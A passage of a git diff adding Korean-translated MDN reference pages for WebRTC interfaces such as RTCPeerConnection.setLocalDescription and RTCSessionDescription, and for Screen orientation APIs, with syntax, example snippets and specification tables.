+myPeerConnection.createOffer({"iceRestart": true}).then(function(offer) {
+  return myPeerConnection.setLocalDescription(offer);
+})
+.then(function() {
+  // send the offer to the other peer using the signaling server
+})
+.catch(reportError);
+ +

먼저, 신규 {{domxref("RTCConfiguration")}}가 신규 ICE 서버와 인증 정보를 명시한 restartConfig를 가지도록 생성됩니다. 그리고 설정한 {{domxref("RTCConfiguration")}}가 setConfiguration()에 전달됩니다. iceRestart 옵션의 값을 true로 지정하고, {{domxref("RTCPeerConnection.createOffer()", "createOffer()")}}을 호출해서 ICE 협상이 재시작됩니다. 이후에, 반환받은 offer를 local description으로 설정하고, 다른 피어에게 offer를 전달하는 것과 같이 일반적으로 진행되도록 처리합니다. 

+ +

사양서

+ + + + + + + + + + + + + + +
사양서상태코멘트
{{SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-setConfiguration-void-RTCConfiguration-configuration', 'setConfiguration()')}}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.RTCPeerConnection.setConfiguration")}}

+
+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/setidentityprovider/index.html b/files/ko/web/api/rtcpeerconnection/setidentityprovider/index.html new file mode 100644 index 0000000000..784a5e5dec --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/setidentityprovider/index.html @@ -0,0 +1,66 @@ +--- +title: RTCPeerConnection.setIdentityProvider() +slug: Web/API/RTCPeerConnection/setIdentityProvider +translation_of: Web/API/RTCPeerConnection/setIdentityProvider +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

RTCPeerConnection.setIdentityProvider() 메소드는 이름, 통신에 사용된 프로토콜 (옵션), 유저 이름 (옵션)으로 구성된 세 가지 매개변수에 식별 제공자 (Identity Provider, IdP)를 지정합니다. IdP는 주장 (assertion)이 필요한 순간에만 사용 될 것입니다. 

+ +

{{domxref("RTCPeerConnection.signalingState", "signalingState")}}가 "closed"로 지정되어있다면, InvalidStateError 에러가 발생합니다. 

+ +

Syntax

+ +
pc.setIdentityProvider(domainname [, protocol] [, username]);
+
+ +

이 메소드는 반환 값이 존재하지 않습니다.

+ +

매개변수

+ +
+
domainname
+
IdP가 존재하는 도메인 이름을 나타내는 {{domxref("DOMString")}}입니다.
+
protocol {{optional_Inline}}
+
IdP와 통신하기위해 사용된 프로토콜을 나타내는 {{domxref("DOMString")}}입니다. 디폴트 값은 "default"로 설정되어있고, IdP가 감청하게되는 URL를 결정하는데에 사용됩니다.
+
username {{optional_Inline}}
+
IdP와 연관된 유저 이름을 나타내는 {{domxref("DOMString")}}입니다.
+
+ +

예시

+ +
var pc = new PeerConnection();
+
+pc.setIdentityAssertion("developer.mozilla.org");
+
+ +

사양서

+ + + + + + + + + + + + + + + + +
사양서상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-setIdentityProvider-void-DOMString-provider-DOMString-protocol-DOMString-username', 'RTCPeerConnection.setIdentityProvider()') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.setIdentityProvider")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/setlocaldescription/index.html b/files/ko/web/api/rtcpeerconnection/setlocaldescription/index.html new file mode 100644 index 0000000000..41430c7267 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/setlocaldescription/index.html @@ -0,0 +1,125 @@ +--- +title: RTCPeerConnection.setLocalDescription() +slug: Web/API/RTCPeerConnection/setLocalDescription +translation_of: Web/API/RTCPeerConnection/setLocalDescription +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

RTCPeerConnection.setLocalDescription() 메소드는 연결 인터페이스와 관련이 있는 로컬 설명 (local description)을 변경합니다. 로컬 설명은 미디어 형식을 포함하는 연결의 로컬 엔드에 대한 속성을 명시합니다.

+ +

이 메소드는 세션 설명 (session description)을 단일 매개변수로 가지며, 설명이 비동기적으로 변하게되면 fulfilled되는 {{jsxref("Promise")}}를 반환합니다.

+ +

연결이 이미 되어있는데 setLocalDescription()가 호출된다면, 이는 재협상이 진행 중이라는 뜻입니다 (아마도 네트워크 환경이 바뀐 것에 대응하기 위함일 것입니다). 두명의 피어가 설정 값에 모두 동의해야지만 설명이 교환되기 때문에, setLocalDescription()의 호출로 전송된 설명은 즉시 사용되지 못합니다. 대신 협상이 완료되는 순간까지는 기존 연결 설정대로 작동 하게 됩니다. 그러다가 협상이 완료된 다음에서야 신규 설정이 사용됩니다.

+ +

Syntax

+ +
aPromise = RTCPeerConnection.setLocalDescription(sessionDescription);
+
+pc.setLocalDescription(sessionDescription, successCallback, errorCallback); {{deprecated_inline}}
+
+ +

매개 변수

+ +
+
sessionDescription
+
연결의 로컬 엔드에 적용시킬 설정 값을 지정하는 {{domxref("RTCSessionDescriptionInit")}} 혹은 {{domxref("RTCSessionDescription")}}입니다.
+
+ +

세션 설명 매개 변수에 대한 설명

+ +

sessionDescription 매개 변수는 일단 기술적으로는 RTCSessionDescriptionInit의 타입입니다. 하지만, {{domxref("RTCSessionDescription")}}가 RTCSessionDescriptionInit와 구별이 불가능하도록 직렬화 (serialize)하기 때문에, RTCSessionDescription를 전달 할 수도 있습니다. 이 말은 코드가 다음과 같이 간단해질 수 있다는 뜻입니다:

+ +
myPeerConnection.createOffer().then(function(offer) {
+  return myPeerConnection.setLocalDescription(new RTCSessionDescription(offer));
+});
+
+ +

위 코드를 아래와 같이 간단하게 사용이 가능해집니다:

+ +
myPeerConnection.createOffer().then(myPeerConnection.setLocalDescription);
+ +

이러한 이유로, {{domxref("RTCSessionDescription.RTCSessionDescription", "RTCSessionDescription()")}} 생성자는 더 이상 사용되지 않습니다.

+ +

반환 값

+ +

{{domxref("RTCPeerConnection.localDescription")}}의 값이 성공적으로 바뀌거나 혹은 변환이 불가능한 경우 거절되면 fulfill 되는 {{jsxref("Promise")}}입니다. 거절되는 예로는 명시한 설명이 연결에 존재하는 하나 혹은 양쪽 모두의 피어들과 호환이 불가능하면 발생하기도 합니다. 참고로 프로미스의 fulfillment 핸들러는 입력 매개 변수를 받지 않습니다.

+ +
+

설명을 바꾸는 과정은 변경이 실패해도 연결 상태를 잃지 않게 보장하도록 WebRTC 레이어에 의해서 처리되는 중간 단계를 거칩니다. 이 과정에 대한 자세한 설명은 {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Pending and current descriptions")}}를 참조하십시오.

+
+ +

지원이 중단된 매개 변수

+ +

이전 버전의 문서에서는 콜백 기반의 함수를 찾을 수 있습니다. 콜백 함수는 지원이 중단되었고, 추후에 삭제 될 예정이기 때문에 사용하지 않도록 강력히 권장하고 있습니다. 이미 콜백 함수를 사용 중이라면, {{jsxref("Promise")}} 기반인 setLocalDescription()를 대신 사용하도록 업데이트 해야합니다. 기존 코드 업데이트에 도움을 주기 위해, 아래에서는 이전 버전의 setLocalDescription()에 대한 매개 변수를 설명합니다.

+ +
+
successCallback {{deprecated_inline}}
+
설명 값이 성공적으로 설정되면 입력 매개 변수 없이 호출되는 자바스크립트 {{jsxref("Function")}}입니다. 여기서, offer가 시그널링 서버를 통해서 원격 유저에게 전송 될 수 있습니다.
+
errorCallback {{deprecated_inline}}
+
설명 값이 설정이 불가능할 때에 호출되어 RTCPeerConnectionErrorCallback 서명을 확인하는 함수입니다. 여기에는 요청이 왜 실패했는지를 설명하는 {{domxref("DOMException")}} 객체를 전달합니다.
+
+ +

지원이 중단된 위의 메소드는 실제 설정이 바뀌기 전에 바로 반환합니다. 성공하면 successCallback가 호출되고, 실패하면 errorCallback가 호출됩니다.

+ +

지원이 중단된 예외처리

+ +

지원이 중단된 콜백버전의 setLocalDescription()를 사용하게되면 아래와 같은 예외들이 발 생 할 수도 있습니다:

+ +
+
InvalidStateError {{deprecated_inline}}
+
연결의 {{domxref("RTCPeerConnection.signalingState", "signalingState")}}가 "closed" 상태고, 이는 연결이 현재 열린 상태가 아니여서 협상이 발생할 수 없다는 뜻입니다.
+
InvalidSessionDescriptionError {{deprecated_inline}}
+
sessionDescription에 의해 명시된 {{domxref("RTCSessionDescription")}} 매개 변수가 유효하지 않음을 알려줍니다.
+
+ +

예시

+ +

아래의 예시에서는, {{event("negotiationneeded")}} 이벤트에 대한 핸들러를 구현하였습니다:

+ +
function handleNegotiationNeededEvent() {
+  pc.createOffer().then(function(offer) {
+    return pc.setLocalDescription(offer);
+  })
+  .then(function() {
+    // Send the offer to the remote peer using the signaling server
+  })
+  .catch(reportError);
+}
+ +

이 함수는 {{domxref("RTCPeerConnection.createOffer()", "createOffer()")}}를 호출하여 offer를 생성하면서 시작됩니다. 이 과정이 성공하면, setLocalDescription()를 호출합니다. 프로미스에 대한 fulfillment 핸들러는 시그널링 서버를 사용해서 다른 유저에게 신규 생성된 offer를 전송할 수 있게 됩니다.

+ +

사양서

+ + + + + + + + + + + + + + + + + + + + + +
사양서상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-setLocalDescription-void-RTCSessionDescription-description-VoidFunction-successCallback-RTCPeerConnectionErrorCallback-failureCallback', 'RTCPeerConnection.setLocalDescription()') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
{{SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-setLocalDescription-Promise-void--RTCSessionDescriptionInit-description', 'RTCPeerConnection.setLocalDescription()')}}{{Spec2('WebRTC 1.0')}}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.setLocalDescription")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnectioniceevent/candidate/index.html b/files/ko/web/api/rtcpeerconnectioniceevent/candidate/index.html new file mode 100644 index 0000000000..2c9c19afa2 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnectioniceevent/candidate/index.html @@ -0,0 +1,56 @@ +--- +title: RTCPeerConnectionIceEvent.candidate +slug: Web/API/RTCPeerConnectionIceEvent/candidate +translation_of: Web/API/RTCPeerConnectionIceEvent/candidate +--- +

{{APIRef("WebRTC")}}

+ +

{{domxref("RTCPeerConnectionIceEvent")}} 인터페이스의 candidate 속성은 읽기 전용입니다. 이 속성은 {{domxref("RTCIceCandidate")}}와 관련된 이벤트를 반환합니다.   

+ +

Syntax

+ +
 var candidate = event.candidate;
+ +

+ +

ICE candidate를 나타내는 {{domxref("RTCIceCandidate")}} 객체. 해당 네고시에이션 세션에 대한 candidate가 더 이상 존재하지 않으면, null을 반환합니다. 

+ +

예시

+ +
pc.onicecandidate = function( ev ) {
+  alert("The ICE candidate (transport address: '" +
+    ev.candidate.candidate +
+    "') has been added to this connection.");
+}
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#dom-rtcpeerconnectioniceevent-candidate', 'RTCPeerConnectionIceEvent.candidate') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnectionIceEvent.candidate")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnectioniceevent/index.html b/files/ko/web/api/rtcpeerconnectioniceevent/index.html new file mode 100644 index 0000000000..089c81246d --- /dev/null +++ b/files/ko/web/api/rtcpeerconnectioniceevent/index.html @@ -0,0 +1,76 @@ +--- +title: RTCPeerConnectionIceEvent +slug: Web/API/RTCPeerConnectionIceEvent +tags: + - API + - Experimental + - Interface + - NeedsTranslation + - RTCIceCandidateEvent + - Reference + - TopicStub + - WebRTC +translation_of: Web/API/RTCPeerConnectionIceEvent +--- +

{{APIRef("WebRTC")}}

+ +

The RTCPeerConnectionIceEvent interface represents events that occurs in relation to {{Glossary("ICE")}} candidates with the target, usually an {{domxref("RTCPeerConnection")}}. Only one event is of this type: {{event("icecandidate")}}.

+ +

Properties

+ +

A {{domxref("RTCPeerConnectionIceEvent")}} being an {{domxref("Event")}}, this event also implements these properties.

+ +
+
{{domxref("RTCPeerConnectionIceEvent.candidate")}} {{readOnlyInline}}
+
Contains the {{domxref("RTCIceCandidate")}} containing the candidate associated with the event, or null if this event indicates that there are no further candidates to come.
+
+ +

Constructors

+ +
+
{{domxref("RTCPeerConnectionIceEvent.RTCPeerConnectionIceEvent()", "RTCPeerConnectionIceEvent()")}}
+
Returns a new RTCPeerConnectionIceEvent. It takes two parameters, the first being a {{domxref("DOMString")}} representing the type of the event; the second a dictionary containing the {{domxref("RTCIceCandidate")}} it refers to.
+
+ +

Methods

+ +

A {{domxref("RTCPeerConnectionIceEvent")}} being an {{domxref("Event")}}, this event also implements these propertiesThere is no specific {{domxref("RTCDataChannelEvent")}} method.

+ +

Examples

+ +
pc.onicecandidate = function( ev ) {
+  alert("The ICE candidate (transport address: '" +
+    ev.candidate.candidate +
+    "') has been added to this connection.");
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('WebRTC 1.0', '#rtcpeerconnectioniceevent', 'RTCPeerConnectionIceEvent') }}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.RTCPeerConnectionIceEvent")}}

+ +

See also

+ + diff --git a/files/ko/web/api/rtcsessiondescription/index.html b/files/ko/web/api/rtcsessiondescription/index.html new file mode 100644 index 0000000000..927204c7da --- /dev/null +++ b/files/ko/web/api/rtcsessiondescription/index.html @@ -0,0 +1,129 @@ +--- +title: RTCSessionDescription +slug: Web/API/RTCSessionDescription +tags: + - API + - Audio + - Experimental + - Interface + - Media + - NeedsTranslation + - Reference + - TopicStub + - Video + - Web + - WebRTC +translation_of: Web/API/RTCSessionDescription +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

The RTCSessionDescription interface describes one end of a connection—or potential connection—and how it's configured. Each RTCSessionDescription consists of a description {{domxref("RTCSessionDescription.type", "type")}} indicating which part of the offer/answer negotiation process it describes and of the {{Glossary("SDP")}} descriptor of the session.

+ +

The process of negotiating a connection between two peers involves exchanging RTCSessionDescription objects back and forth, with each description suggesting one combination of connection configuration options that the sender of the description supports. Once the two peers agree upon a configuration for the connection, negotiation is complete.

+ +

Properties

+ +

The RTCSessionDescription interface doesn't inherit any properties.

+ +
+
{{domxref("RTCSessionDescription.type")}} {{ReadOnlyInline}}
+
An enum of type {{anch("RTCSdpType")}} describing the session description's type.
+
+ +
+
{{domxref("RTCSessionDescription.sdp")}} {{ReadOnlyInline}}
+
A {{domxref("DOMString")}} containing the {{Glossary("SDP")}} describing the session.
+
+ +

Constants

+ +

RTCSdpType

+ +

This enum defines strings that describe the current state of the session description, as used in the {{domxref("RTCSessionDescription.type", "type")}} property. The session description's type will be specified using one of these values.

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
ValueDescription
answerThe SDP contained in the {{domxref("RTCSessionDescription.sdp", "sdp")}} property is the definitive choice in the exchange. In other words, this session description describes the agreed-upon configuration, and is being sent to finalize negotiation.
offerThe session description object describes the initial proposal in an offer/answer exchange. The session negotiation process begins with an offer being sent from the caller to the callee.
pranswerThe session description object describes a provisional answer; that is, a response to a previous offer that is not the final answer. It is usually employed by legacy hardware.
rollbackThis special type with an empty session description is used to roll back to the previous stable state.
+ +

Methods

+ +

The RTCSessionDescription doesn't inherit any methods.

+ +
+
{{domxref("RTCSessionDescription.RTCSessionDescription", "RTCSessionDescription()")}} {{deprecated_inline}}
+
This constructor returns a new RTCSessionDescription. The parameter is a RTCSessionDescriptionInit dictionary containing the values to assign the two properties.
+
{{domxref("RTCSessionDescription.toJSON()")}}
+
Returns a {{Glossary("JSON")}} description of the object. The values of both properties, {{domxref("RTCSessionDescription.type", "type")}} and {{domxref("RTCSessionDescription.sdp", "sdp")}}, are contained in the generated JSON.
+
+ +

Example

+ +
signalingChannel.onmessage = function (evt) {
+    if (!pc)
+        start(false);
+
+    var message = JSON.parse(evt.data);
+    if (message.sdp)
+        pc.setRemoteDescription(new RTCSessionDescription(message), function () {
+            // if we received an offer, we need to answer
+            if (pc.remoteDescription.type == "offer")
+                pc.createAnswer(localDescCreated, logError);
+        }, logError);
+    else
+        pc.addIceCandidate(new RTCIceCandidate(message.candidate),
+            function () {}, logError);
+};
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('WebRTC 1.0', '#rtcsessiondescription-class', 'RTCSessionDescription') }}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.RTCSessionDescription")}}

+ +

See also

+ + diff --git a/files/ko/web/api/rtcsessiondescription/sdp/index.html b/files/ko/web/api/rtcsessiondescription/sdp/index.html new file mode 100644 index 0000000000..d0ed1ab2f6 --- /dev/null +++ b/files/ko/web/api/rtcsessiondescription/sdp/index.html @@ -0,0 +1,69 @@ +--- +title: RTCSessionDescription.sdp +slug: Web/API/RTCSessionDescription/sdp +translation_of: Web/API/RTCSessionDescription/sdp +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

읽기 속성인 RTCSessionDescription.sdp 는 세션에 대해 설명해주는 {{Glossary("SDP")}}를 가지고 있는 {{domxref("DOMString")}}입니다. 

+ +

Syntax

+ +
var value = sessionDescription.sdp;
+sessionDescription.sdp = value;
+
+ +

+ +

아래와 같이 SDP 메세지를 포함하고 있는 {{domxref("DOMString")}}값 입니다. 

+ +
 v=0
+ o=alice 2890844526 2890844526 IN IP4 host.anywhere.com
+ s=
+ c=IN IP4 host.anywhere.com
+ t=0 0
+ m=audio 49170 RTP/AVP 0
+ a=rtpmap:0 PCMU/8000
+ m=video 51372 RTP/AVP 31
+ a=rtpmap:31 H261/90000
+ m=video 53000 RTP/AVP 32
+ a=rtpmap:32 MPV/90000
+ +

예시

+ +
// The remote description has been set previously on pc, an RTCPeerConnection
+
+alert(pc.remoteDescription.sdp);
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCSessionDescription-sdp', 'RTCSessionDescription.sdp') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCSessionDescription.sdp")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcsessiondescription/type/index.html b/files/ko/web/api/rtcsessiondescription/type/index.html new file mode 100644 index 0000000000..d898fac57e --- /dev/null +++ b/files/ko/web/api/rtcsessiondescription/type/index.html @@ -0,0 +1,65 @@ +--- +title: RTCSessionDescription.type +slug: Web/API/RTCSessionDescription/type +translation_of: Web/API/RTCSessionDescription/type +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

읽기 전용 값인 RTCSessionDescription.type은 세션 설명의 타입을 알려주는 RTCSdpType타입의 값입니다. 

+ +

Syntax

+ +
var value = sessionDescription.type;
+sessionDescription.type = value;
+
+ +

+ +

RTCSdpType 타입의 열거체에 사용 가능한 값들이 정의되어 있습니다.

+ +

아래는 사용 가능한 값들입니다:

+ + + +

Example

+ +
// The remote description has been set previously on pc, a RTCPeerconnection
+
+alert(pc.remoteDescription.type);
+
+ +

사양서

+ + + + + + + + + + + + + + + + +
사양서상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCSessionDescription-type', 'RTCSessionDescription.type') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCSessionDescription.type")}}

+ +

참조

+ + diff --git a/files/ko/web/api/screen.onorientationchange/index.html b/files/ko/web/api/screen.onorientationchange/index.html new file mode 100644 index 0000000000..dc1a76013f --- /dev/null +++ b/files/ko/web/api/screen.onorientationchange/index.html @@ -0,0 +1,85 @@ +--- +title: window.screen.onorientationchange +slug: Web/API/Screen.onorientationchange +translation_of: Web/API/Screen/onorientationchange +--- +

{{ ApiRef() }}

+

{{SeeCompatTable}}

+

Summary

+

{{ event("orientationchange")}} 이벤트를 화면 객체로 보내는 이벤트 핸들러이다.

+

Syntax

+
screen.onorientationchange = funcRef;
+
+

funcRef 는 함수로의 참조 이다.

+

Specifications

+ + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Screen Orientation')}}{{Spec2('Screen Orientation')}}Draft specification.
+

Browser compatibility

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatNo() }}{{ CompatVersionUnknown() }} {{ property_prefix("moz") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatVersionUnknown() }} {{ property_prefix("moz") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+

Gecko notes

+

이 API 는 현재 초안형태이다. 오직 B2G 와 안드로이드용 Firefox 에서 prefixed method (onmozorientationchange) 형태로만 구현된다.

+

See also

+ diff --git a/files/ko/web/api/screen/index.html b/files/ko/web/api/screen/index.html new file mode 100644 index 0000000000..74772f16d3 --- /dev/null +++ b/files/ko/web/api/screen/index.html @@ -0,0 +1,76 @@ +--- +title: Screen +slug: Web/API/Screen +tags: + - API +translation_of: Web/API/Screen +--- +
{{APIRef("CSSOM View")}}
+ +

The Screen interface represents a screen, usually the one on which the current window is being rendered.

+ +

Usually it is the one on which the current window is being rendered, obtained using window.screen.

+ +

Properties

+ +
+
{{domxref("Screen.availTop")}}
+
Specifies the y-coordinate of the first pixel that is not allocated to permanent or semipermanent user interface features.
+
{{domxref("Screen.availLeft")}}
+
Returns the first available pixel available from the left side of the screen.
+
{{domxref("Screen.availHeight")}}
+
Specifies the height of the screen, in pixels, minus permanent or semipermanent user interface features displayed by the operating system, such as the Taskbar on Windows.
+
{{domxref("Screen.availWidth")}}
+
Returns the amount of horizontal space in pixels available to the window.
+
{{domxref("Screen.colorDepth")}}
+
Returns the color depth of the screen.
+
{{domxref("Screen.height")}}
+
Returns the height of the screen in pixels.
+
{{domxref("Screen.left")}}
+
Returns the distance in pixels from the left side of the main screen to the left side of the current screen.
+
{{domxref("Screen.orientation")}}
+
Returns the current orientation of the screen.
+
{{domxref("Screen.pixelDepth")}}
+
Gets the bit depth of the screen.
+
{{domxref("Screen.top")}}
+
Returns the distance in pixels from the top side of the current screen.
+
{{domxref("Screen.width")}}
+
Returns the width of the screen.
+
{{domxref("Screen.mozEnabled")}} {{gecko_minversion_inline("12.0")}}
+
Boolean. Setting to false will turn off the device's screen.
+
{{domxref("Screen.mozBrightness")}} {{gecko_minversion_inline("12.0")}}
+
Controls the brightness of a device's screen. A double between 0 and 1.0 is expected.
+
+ +

Events handler

+ +
+
{{domxref("Screen.onorientationchange")}}
+
A handler for the {{event("orientationchange")}} events.
+
+ +

Methods

+ +
+
{{domxref("Screen.lockOrientation")}}
+
Lock the screen orientation (only works in fullscreen or for installed apps)
+
{{domxref("Screen.unlockOrientation")}}
+
Unlock the screen orientation (only works in fullscreen or for installed apps)
+
+ +

Methods inherit from {{domxref("EventTarget")}}

+ +

{{page("/en-US/docs/Web/API/EventTarget","Methods")}}

+ +

Example

+ +
if (screen.pixelDepth < 8) {
+  // use low-color version of page
+} else {
+  // use regular, colorful page
+}
+
+ +

Specification

+ +

CSSOM View

diff --git a/files/ko/web/api/screen/lockorientation/index.html b/files/ko/web/api/screen/lockorientation/index.html new file mode 100644 index 0000000000..856bfb5010 --- /dev/null +++ b/files/ko/web/api/screen/lockorientation/index.html @@ -0,0 +1,92 @@ +--- +title: Screen.lockOrientation +slug: Web/API/Screen/lockOrientation +translation_of: Web/API/Screen/lockOrientation +--- +
{{APIRef("CSSOM View")}}
+ +
{{Deprecated_header}}
+ +

lockOrientation 함수는 지정된 방향으로 화면을 고정시킨다.

+ +
+

Note: 이 함수는 오직 설치된 웹앱 또는 full-screen mode 의 웹페이지에서만 동작한다..

+
+ +

Syntax

+ +
var locked = window.screen.lockOrientation(orientation);
+
+ +

Parameters

+ +
+
orientation
+
화면을 고정 시킬 방향. 문자열 또는 문자열의 배열이다. 여러 문자열을 지정하면 지정한 방향으로만 회전된다.
+
+ +

다음의 문자열들은 당신이 지정할 수 있는 방향들을 나타낸다.

+ +
+
portrait-primary
+
기본 세로 모드 일 때 화면의 방향을 나타낸다. 화면은 화면이 정상위치 (normal position)가 세로이고 세로로 고정 되어 있으면 기본 세로 모드 (primary portrait mode) 로 간주 된다. 만약 장치의 정상위치 (normal position)가 가로 모드 이면 장치가 시계방향으로 90° 돌렸을 때 이다. 정상 위치 (normal position) 는 장치에 의존한다.
+
portrait-secondary
+
보조 세로 모드 일 때 화면의 방향을 나타낸다.  화면은 정상위치에서 180° 로 고정 되어 있을 때 보조 세로 모드로 간주된다. 만약 정상위치가 가로 인 경우 장치가 반시계 방향으로 90° 회전 했을 때 이다. 정상 위치 (normal position) 는 장치에 의존한다.
+
landscape-primary
+
기본 가로 모드 일 때 화면의 방향을 나타낸다. 화면은 정상위치 (normal position)가 가로이고 가로로 고정 되어 있으면 기본 가로 모드 (primary landscape mode) 로 간주된다. 만약 장치의 정상위치 (normal position)가 세로이면 장치가 시계방향으로 90° 돌렸을 때 이다. 정상 위치 (normal position) 는 장치에 의존한다.
+
landscape-secondary
+
보조 가로 모드 일 때 화면의 방향을 나타낸다. 화면은 정상위치에서 180° 로 고정 되어 있을 때 보조 가로 모드 (secondary landscape mode) 로 간주된다. 또는 정상위치가 세로 인 경우 장치가 반시계 방향으로 90° 회전 했을 때 이다. 정상 위치 (normal position) 는 장치에 의존한다.
+
portrait
+
portrait-primary 와 portrait-secondary 둘 다 이다.
+
landscape
+
landscape-primary 와 landscape-secondary 둘 다 이다.
+
+ +
+

Note: 한번에 여러개의 고정 값을 가질 수 있다. 만약 한방향으로만 설정 하면 화면의 방향은 unlock 하기 전 까지는 절대로 변하지 않는다. 그렇지 않다면 (여러값을 가진 다면) 지정 된 방향들로 화면의 방향이 변할 것이다.

+
+ +

Return value

+ +

성공적으로 고정 되었을 경우 true 를 반환한다. 고정 될 수 없다면 false 를 반환한다.

+ +

Example

+ +
if (window.screen.mozLockOrientation("landscape-primary")) {
+  // orientation was locked
+} else {
+  // orientation lock failed
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Screen Orientation', '', 'Screen Orientation') }}{{ Spec2('Screen Orientation') }}Draft specification
+ +

Browser compatibility

+ +

{{Compat("api.Screen.lockOrientation")}}

+ +

See also

+ + diff --git a/files/ko/web/api/screen/orientation/index.html b/files/ko/web/api/screen/orientation/index.html new file mode 100644 index 0000000000..d77c14e6cb --- /dev/null +++ b/files/ko/web/api/screen/orientation/index.html @@ -0,0 +1,120 @@ +--- +title: Screen.orientation +slug: Web/API/Screen/orientation +translation_of: Web/API/Screen/orientation +--- +

{{APIRef("CSSOM View")}} {{SeeCompatTable}}

+ +

Summary

+ +

orientation 속성은 화면의 현재 방향을 알려 준다.

+ +
+

Note: 이 함수는 설치된 웹앱 또는 full-screen mode 의 웹페이지에서 동작한다.

+
+ +

Syntax

+ +
var orientation = window.screen.orientation;
+
+ +

Return value

+ +

리턴값은 화면의 방향을 표현하는 문자열이다. portrait-primary, portrait-secondary, landscape-primary, landscape-secondary 가 될 수 있다. (각 값들에 대해 좀 더 많은 정보를 구하려면 {{domxref("window.screen.lockOrientation","lockOrientation")}} 를 보라.).

+ +

Example

+ +
var orientation = screen.mozOrientation;
+
+if (orientation === "landscape-primary") {
+  console.log("That looks good.");
+} else if (orientation === "landscape-secondary") {
+  console.log("Mmmh... the screen is upside down!");
+} else if (orientation === "portrait-secondary" || orientation === "portrait-secondary") {
+  console.log("Mmmh... you should rotate your device");
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Screen Orientation', '', 'Screen Orientation') }}{{ Spec2('Screen Orientation') }}Draft specification
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatNo() }}{{ CompatVersionUnknown() }} {{ property_prefix("moz") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatVersionUnknown() }} {{ property_prefix("moz") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +

Gecko notes

+ +

이 API 는 현재 초안 형태이다. 이것은 오직 B2G 와 안드로이드용 Firefox 에서 prefixed 함수인 (mozOrientation) 로만 구현된다.

+ +

See also

+ + diff --git a/files/ko/web/api/screen/unlockorientation/index.html b/files/ko/web/api/screen/unlockorientation/index.html new file mode 100644 index 0000000000..bf4d3eb4d5 --- /dev/null +++ b/files/ko/web/api/screen/unlockorientation/index.html @@ -0,0 +1,62 @@ +--- +title: window.screen.unlockOrientation +slug: Web/API/Screen/unlockOrientation +translation_of: Web/API/Screen/unlockOrientation +--- +
{{APIRef("CSSOM View")}}{{Deprecated_header}}
+ +

Screen.unlockOrientation() 함수는 이전의 page나 앱을 통해 지정한 화면 고정 값들을 모두 제거 한다.

+ +
+

Note: 이 함수는 설치된 웹앱 또는 full-screen mode 의 웹 페이지들에서 동작한다..

+
+ +

Syntax

+ +
var unlocked = window.screen.unlockOrientation();
+
+ +

Return value

+ +

성공적으로 unlocked 된 경우 true 를 반환하며, 만약 방향이 unlock 될 수 없다면 false 를 반환한다.

+ +

Example

+ +
if (window.screen.unlockOrientation()) {
